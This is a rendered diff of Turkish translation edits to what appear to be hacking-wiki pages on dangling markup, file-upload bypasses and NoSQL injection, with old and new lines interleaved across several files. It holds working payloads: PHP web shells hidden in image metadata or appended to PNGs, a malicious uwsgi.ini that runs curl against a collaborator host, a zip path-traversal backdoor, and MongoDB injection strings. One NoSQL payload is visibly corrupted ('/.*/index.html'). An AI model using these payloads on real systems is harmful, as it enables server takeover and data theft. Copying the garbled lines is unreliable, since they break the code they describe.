		||||
Ya da bazı javascript'leri çalıştırmayı deneyebilirsiniz:
 | 
			
		||||
Ya da bazı javascript kodlarını çalıştırmayı deneyebilirsiniz:
 | 
			
		||||
```html
 | 
			
		||||
<script src="/search?q=a&call=alert(1)"></script>
 | 
			
		||||
```
 | 
			
		||||
@ -186,7 +186,7 @@ Bu, **http-equiv** ile ilgili bir **CSP** ile **önlenebilir** ( `Content-Securi
 | 
			
		||||
 | 
			
		||||
### Yeni \<portal HTML tag
 | 
			
		||||
 | 
			
		||||
\<portal etiketi ile istismar edilebilir zafiyetler üzerine çok **ilginç bir araştırma** bulabilirsiniz [burada](https://research.securitum.com/security-analysis-of-portal-element/).\
 | 
			
		||||
\<portal etiketi ile istismar edilebilir güvenlik açıkları hakkında çok **ilginç bir araştırma** bulabilirsiniz [burada](https://research.securitum.com/security-analysis-of-portal-element/).\
 | 
			
		||||
Bu yazının yazıldığı anda, portal etiketini Chrome'da `chrome://flags/#enable-portals` üzerinden etkinleştirmeniz gerekiyor, aksi takdirde çalışmayacaktır.
 | 
			
		||||
```html
 | 
			
		||||
<portal src='https://attacker-server?
 | 
			
		||||
@ -197,7 +197,7 @@ HTML'de bağlantı sızdırmanın tüm yolları Dangling Markup için faydalı o
 | 
			
		||||
 | 
			
		||||
## SS-Sızıntıları
 | 
			
		||||
 | 
			
		||||
Bu, **dangling markup ve XS-Sızıntıları** arasında bir **karışım**dır. Bir taraftan, zafiyet **aynı kök**teki bir sayfaya **HTML enjekte etmeye** izin verir (ancak JS değil). Diğer taraftan, HTML enjekte edebileceğimiz sayfayı doğrudan **saldırıya uğratmayacağız**, ama **başka bir sayfayı**.
 | 
			
		||||
Bu, **dangling markup ve XS-Sızıntıları** arasında bir **karışım**dır. Bir taraftan, zafiyet **aynı kök**teki bir sayfaya **HTML enjekte etmeye** izin verir (ancak JS değil). Diğer taraftan, HTML enjekte edebileceğimiz sayfayı doğrudan **saldırıya** uğratmayacağız, ama **başka bir sayfayı** hedef alacağız.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
ss-leaks.md
 | 
			
		||||
@ -205,7 +205,7 @@ ss-leaks.md
 | 
			
		||||
 | 
			
		||||
## XS-Arama/XS-Sızıntıları
 | 
			
		||||
 | 
			
		||||
XS-Arama, **yan kanal saldırılarından** faydalanarak **çapraz köken bilgilerini** **sızdırmaya** yöneliktir. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin (JS yürütmesi ile ve olmadan) dahil edilmesini kötüye kullanır, örneğin [**CSS Enjeksiyonu**](../xs-search/index.html#css-injection) veya [**Tembel Yükleme Görselleri**](../xs-search/index.html#image-lazy-loading)**.**
 | 
			
		||||
XS-Arama, **yan kanal saldırılarını** istismar ederek **çapraz köken bilgilerini** **sızdırmaya** yöneliktir. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin (JS yürütmesi ile ve olmadan) dahil edilmesini istismar eder, örneğin [**CSS Enjeksiyonu**](../xs-search/index.html#css-injection) veya [**Tembel Yükleme Görselleri**](../xs-search/index.html#image-lazy-loading)**.**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../xs-search/
 | 
			
		||||
 | 
			
		||||
@ -31,7 +31,7 @@ Diğer yararlı uzantılar:
 | 
			
		||||
- _file._
 | 
			
		||||
- _file.php...._
 | 
			
		||||
- _file.pHp5...._
 | 
			
		||||
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlamayı deneyin**; uzantıyı **iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** da kullanabilirsiniz._
 | 
			
		||||
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlamayı deneyin**; uzantıyı **iki katına çıkarma** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleme gibi teknikler kullanarak. _Daha iyi bir yük oluşturmak için **önceki uzantıları** de kullanabilirsiniz._
 | 
			
		||||
- _file.png.php_
 | 
			
		||||
- _file.png.pHp5_
 | 
			
		||||
- _file.php#.png_
 | 
			
		||||
@ -43,15 +43,15 @@ Diğer yararlı uzantılar:
 | 
			
		||||
5. Önceki kontrol için **bir başka uzantı katmanı ekleyin**:
 | 
			
		||||
- _file.png.jpg.php_
 | 
			
		||||
- _file.php%00.png%00.jpg_
 | 
			
		||||
6. **Geçerli uzantıdan önce exec uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantı ile _**.php**_** çalıştırılacak şekilde yanlış yapılandırılmış Apache'yi istismar etmek için yararlıdır, ancak** mutlaka .php ile bitmemelidir):
 | 
			
		||||
6. **Geçerli uzantıdan önce yürütme uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantı ile _**.php**_** olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, ancak** .php ile bitmek zorunda değildir):
 | 
			
		||||
- _ör: file.php.png_
 | 
			
		||||
7. **Windows'ta NTFS alternatif veri akışını (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir, örneğin kısa dosya adını kullanarak. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlamak için yararlı olabilir (örneğin “file.asp::$data.”)
 | 
			
		||||
7. **Windows'ta NTFS alternatif veri akışını (ADS)** kullanma. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir, örneğin kısa dosya adını kullanarak. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlamak için yararlı olabilir (örneğin “file.asp::$data.”)
 | 
			
		||||
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir. Ve kötü niyetli PHP kalır. AAA<--SNIP-->AAA.php
 | 
			
		||||
 | 
			
		||||
```
 | 
			
		||||
# Linux maksimum 255 bayt
 | 
			
		||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
 | 
			
		||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkarın ve .png ekleyin
 | 
			
		||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkarın ve .png ekleyin
 | 
			
		||||
# Dosyayı yükleyin ve yanıtı kontrol edin, kaç karaktere izin veriyor. Diyelim ki 236
 | 
			
		||||
python -c 'print "A" * 232'
 | 
			
		||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 | 
			
		||||
@ -63,15 +63,15 @@ AAA<--SNIP 232 A-->AAA.php.png
 | 
			
		||||
 | 
			
		||||
- **Content-Type** kontrollerini atlamak için **Content-Type** **başlığının** **değerini** ayarlayın: _image/png_, _text/plain_, application/octet-stream_
 | 
			
		||||
1. Content-Type **kelime listesi**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
 | 
			
		||||
- **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir resmin** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Veya shell'i **meta veriler** içine yerleştirin:\
 | 
			
		||||
- **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir görüntünün** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Veya shell'i **meta veriler** içine yerleştirin:\
 | 
			
		||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 | 
			
		||||
`\` veya yükü doğrudan bir resme de **yerleştirebilirsiniz**:\
 | 
			
		||||
`\` veya yükü doğrudan bir görüntüye de **yerleştirebilirsiniz**:\
 | 
			
		||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
 | 
			
		||||
- Eğer **sıkıştırma resminize ekleniyorsa**, örneğin bazı standart PHP kütüphaneleri kullanarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayacaktır. Ancak, bazı metinlerin **sıkıştırmayı aşmasını** sağlamak için **PLTE parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
 | 
			
		||||
- Eğer **sıkıştırma** görüntünüze ekleniyorsa, örneğin bazı standart PHP kütüphaneleri kullanılarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayabilir. Ancak, bazı metinlerin **sıkıştırmayı** **geçmesini** sağlamak için **PLTE parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
 | 
			
		||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
 | 
			
		||||
- Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, bazı metinlerin **sıkıştırmayı aşmasını** sağlamak için **IDAT parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
 | 
			
		||||
- Web sayfası ayrıca **görüntüyü yeniden boyutlandırıyor** olabilir, örneğin PHP-GD işlevlerini `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, bazı metinlerin **sıkıştırmayı** **geçmesini** sağlamak için **IDAT parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
 | 
			
		||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
 | 
			
		||||
- Resim **yeniden boyutlandırmayı** aşan bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, bazı metinlerin **sıkıştırmayı aşmasını** sağlamak için **tEXt parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
 | 
			
		||||
- Bir görüntü yeniden boyutlandırmayı **geçen** bir yük oluşturmak için başka bir teknik, PHP-GD işlevi `thumbnailImage` kullanmaktır. Ancak, bazı metinlerin **sıkıştırmayı** **geçmesini** sağlamak için **tEXt parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
 | 
			
		||||
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 | 
			
		||||
 | 
			
		||||
### Diğer Kontrol Edilecek Hileler
 | 
			
		||||
@ -85,14 +85,14 @@ AAA<--SNIP 232 A-->AAA.php.png
 | 
			
		||||
4. **NTFS**'te kolayca silinmeyen bir dosya yükleyin, örneğin **“…:.jpg”**. (Windows)
 | 
			
		||||
5. **Windows**'ta adında **geçersiz karakterler** içeren bir dosya yükleyin, örneğin `|<>*?”`. (Windows)
 | 
			
		||||
6. **Windows**'ta **rezerv** (**yasaklı**) **adlar** içeren bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
 | 
			
		||||
- Ayrıca, **kötü niyetli kodu** çalıştıracak bir **.exe** veya **.html** (daha az şüpheli) dosyası yüklemeyi deneyin.
 | 
			
		||||
- Ayrıca, **kötü niyetli kodu** çalıştıracak bir **yürütülebilir** (.exe) veya **.html** (daha az şüpheli) dosyayı **yüklemeyi** deneyin.
 | 
			
		||||
 | 
			
		||||
### Özel uzantı hileleri
 | 
			
		||||
 | 
			
		||||
Eğer bir **PHP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.htaccess** hilesine bir göz atın](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
 | 
			
		||||
Eğer bir **ASP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.config** hilesine bir göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 | 
			
		||||
 | 
			
		||||
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **bir php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
 | 
			
		||||
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
 | 
			
		||||
 | 
			
		||||
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**.
 | 
			
		||||
 | 
			
		||||
@ -106,7 +106,7 @@ Eğer bir XML dosyasını Jetty sunucusuna yükleyebilirseniz, [**yeni \*.xml ve
 | 
			
		||||
 | 
			
		||||
Bu zafiyetin detaylı bir keşfi için orijinal araştırmaya bakın: [uWSGI RCE İstismarı](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 | 
			
		||||
 | 
			
		||||
Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde, Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
 | 
			
		||||
Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
 | 
			
		||||
 | 
			
		||||
Aşağıdaki örnekte, çeşitli şemaları gösteren zararlı bir `uwsgi.ini` dosyası düşünün:
 | 
			
		||||
```ini
 | 
			
		||||
@ -126,13 +126,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 | 
			
		||||
; call a function returning a char *
 | 
			
		||||
characters = @(call://uwsgi_func)
 | 
			
		||||
```
 | 
			
		||||
Yükün yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme moduna ayarlanmalıdır. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
 | 
			
		||||
Yükün yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme ayarına getirilmelidir. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
 | 
			
		||||
 | 
			
		||||
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve bu da potansiyel istismar kapsamını daha da genişletir.
 | 
			
		||||
 | 
			
		||||
## **wget Dosya Yükleme/SSRF Hilesi**
 | 
			
		||||
 | 
			
		||||
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
 | 
			
		||||
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirleyebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol ediyor olabilir. Ancak, **bu kontrol atlatılabilir.**\
 | 
			
		||||
**linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karakterle kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
 | 
			
		||||
```bash
 | 
			
		||||
#Create file and HTTP server
 | 
			
		||||
@ -160,7 +160,7 @@ Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğün
 | 
			
		||||
 | 
			
		||||
## Araçlar
 | 
			
		||||
 | 
			
		||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) dosya yükleme mekanizmalarını test etmek için Pentester'lar ve Hata Avcıları'na yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
 | 
			
		||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) dosya yükleme mekanizmalarını test etmek için Pentester'lara ve Hata Avcıları'na yardımcı olmak üzere tasarlanmış güçlü bir araçtır. Çeşitli hata ödül tekniklerini kullanarak, güvenlik açıklarını tanımlama ve istismar etme sürecini basitleştirir, web uygulamalarının kapsamlı değerlendirmelerini sağlar.
 | 
			
		||||
 | 
			
		||||
## Dosya yüklemeden diğer güvenlik açıklarına
 | 
			
		||||
 | 
			
		||||
@ -174,9 +174,9 @@ Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğün
 | 
			
		||||
- [**Open Redirect** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files).
 | 
			
		||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg payload'ları** deneyin.
 | 
			
		||||
- [Ünlü **ImageTrick** güvenlik açığı](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
 | 
			
		||||
- Eğer **web sunucusuna bir URL'den resim yakalamasını** belirtebiliyorsanız, bir [SSRF](../ssrf-server-side-request-forgery/) istismar etmeyi deneyebilirsiniz. Eğer bu **resim** bazı **kamusal** sitelerde **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
 | 
			
		||||
- [PDF-Adobe yüklemesi ile **XXE ve CORS** atlatma](pdf-upload-xxe-and-cors-bypass.md).
 | 
			
		||||
- XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen talimatları takip ederek rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
 | 
			
		||||
- Eğer **web sunucusuna bir URL'den resim yakalamasını** belirtebiliyorsanız, bir [SSRF](../ssrf-server-side-request-forgery/index.html) istismar etmeyi deneyebilirsiniz. Eğer bu **resim** bazı **kamusal** bir sitede **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
 | 
			
		||||
- [**XXE ve CORS** bypass ile PDF-Adobe yükleme](pdf-upload-xxe-and-cors-bypass.md).
 | 
			
		||||
- XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebiliyorsanız, verilen talimatlara göre rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
 | 
			
		||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** programı olup olmadığını kontrol edin.
 | 
			
		||||
- Dosya yüklerken herhangi bir **boyut sınırı** olup olmadığını kontrol edin.
 | 
			
		||||
 | 
			
		||||
@ -218,11 +218,11 @@ ln -s ../../../index.php symindex.txt
 | 
			
		||||
zip --symlinks test.zip symindex.txt
 | 
			
		||||
tar -cvf test.tar symindex.txt
 | 
			
		||||
```
 | 
			
		||||
### Farklı klasörlerde açma
 | 
			
		||||
### Farklı Klasörlerde Sıkıştırmayı Açma
 | 
			
		||||
 | 
			
		||||
Açma işlemi sırasında dizinlerde beklenmedik dosya oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
 | 
			
		||||
Sıkıştırma sırasında dizinlerde beklenmedik dosya oluşturulması önemli bir sorundur. Bu yapılandırmanın, kötü niyetli dosya yüklemeleri yoluyla OS düzeyinde komut yürütmeye karşı koruma sağlayacağına dair ilk varsayımlara rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin geçiş yetenekleri istismar edilebilir. Bu, saldırganların kısıtlamaları aşmasına ve hedef uygulamanın sıkıştırmayı açma işlevini manipüle ederek güvenli yükleme dizinlerinden çıkmasına olanak tanır.
 | 
			
		||||
 | 
			
		||||
Bu tür dosyaları oluşturmak için otomatik bir istismar [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç, aşağıdaki gibi kullanılabilir:
 | 
			
		||||
Bu tür dosyaları oluşturmak için otomatik bir istismar [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) adresinde mevcuttur. Araç aşağıdaki gibi kullanılabilir:
 | 
			
		||||
```python
 | 
			
		||||
# Listing available options
 | 
			
		||||
python2 evilarc.py -h
 | 
			
		||||
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
 | 
			
		||||
root@s2crew:/tmp# zip cmd.zip xx*.php
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
3.  **Hex Editörü veya vi ile Değişiklik**: Zip içindeki dosyaların isimleri vi veya bir hex editörü kullanılarak değiştirilir, "xxA" "../" olarak değiştirilerek dizinler arasında geçiş yapılır.
 | 
			
		||||
3.  **Hex Editörü veya vi ile Değişiklik**: Zip içindeki dosyaların isimleri vi veya bir hex editörü kullanılarak değiştirilir, "xxA" "../" olarak değiştirilir ve dizinler arasında geçiş yapılır.
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
:set modifiable
 | 
			
		||||
@ -289,9 +289,9 @@ pop graphic-context
 | 
			
		||||
```
 | 
			
		||||
## PNG Üzerine PHP Shell Gömme
 | 
			
		||||
 | 
			
		||||
Bir PNG dosyasının IDAT parçasına PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları, bu bağlamda özellikle önemlidir, çünkü genellikle görüntüleri yeniden boyutlandırmak ve yeniden örneklemek için kullanılır. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, belirli kullanım durumları için önemli bir avantajdır.
 | 
			
		||||
Bir PNG dosyasının IDAT parçasına PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları, sırasıyla görüntüleri yeniden boyutlandırma ve yeniden örnekleme için yaygın olarak kullanıldığından, bu bağlamda özellikle önemlidir. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, belirli kullanım durumları için önemli bir avantajdır.
 | 
			
		||||
 | 
			
		||||
Bu tekniğin metodolojisi ve potansiyel uygulamaları hakkında detaylı bir keşif, aşağıdaki makalede sağlanmıştır: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve sonuçlarının kapsamlı bir anlayışını sunmaktadır.
 | 
			
		||||
Bu tekniğin metodolojisi ve potansiyel uygulamaları hakkında detaylı bir keşif, aşağıdaki makalede sağlanmıştır: ["PNG IDAT parçalarında Web Shell'leri Kodlama"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve sonuçlarının kapsamlı bir anlayışını sunmaktadır.
 | 
			
		||||
 | 
			
		||||
Daha fazla bilgi için: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -40,7 +40,7 @@ Bir saldırgan, `admin' || 'a'=='a` gibi dizeleri girerek bunu istismar edebilir
 | 
			
		||||
Normal sql: ' or 1=1-- -
 | 
			
		||||
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
 | 
			
		||||
```
 | 
			
		||||
### **uzunluk** bilgilerini çıkarma
 | 
			
		||||
### **Uzunluk** bilgilerini çıkarma
 | 
			
		||||
```bash
 | 
			
		||||
username[$ne]=toto&password[$regex]=.{1}
 | 
			
		||||
username[$ne]=toto&password[$regex]=.{3}
 | 
			
		||||
@ -67,7 +67,7 @@ in JSON
 | 
			
		||||
### **SQL - Mongo**
 | 
			
		||||
```
 | 
			
		||||
/?search=admin' && this.password%00 --> Check if the field password exists
 | 
			
		||||
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
 | 
			
		||||
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
 | 
			
		||||
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
 | 
			
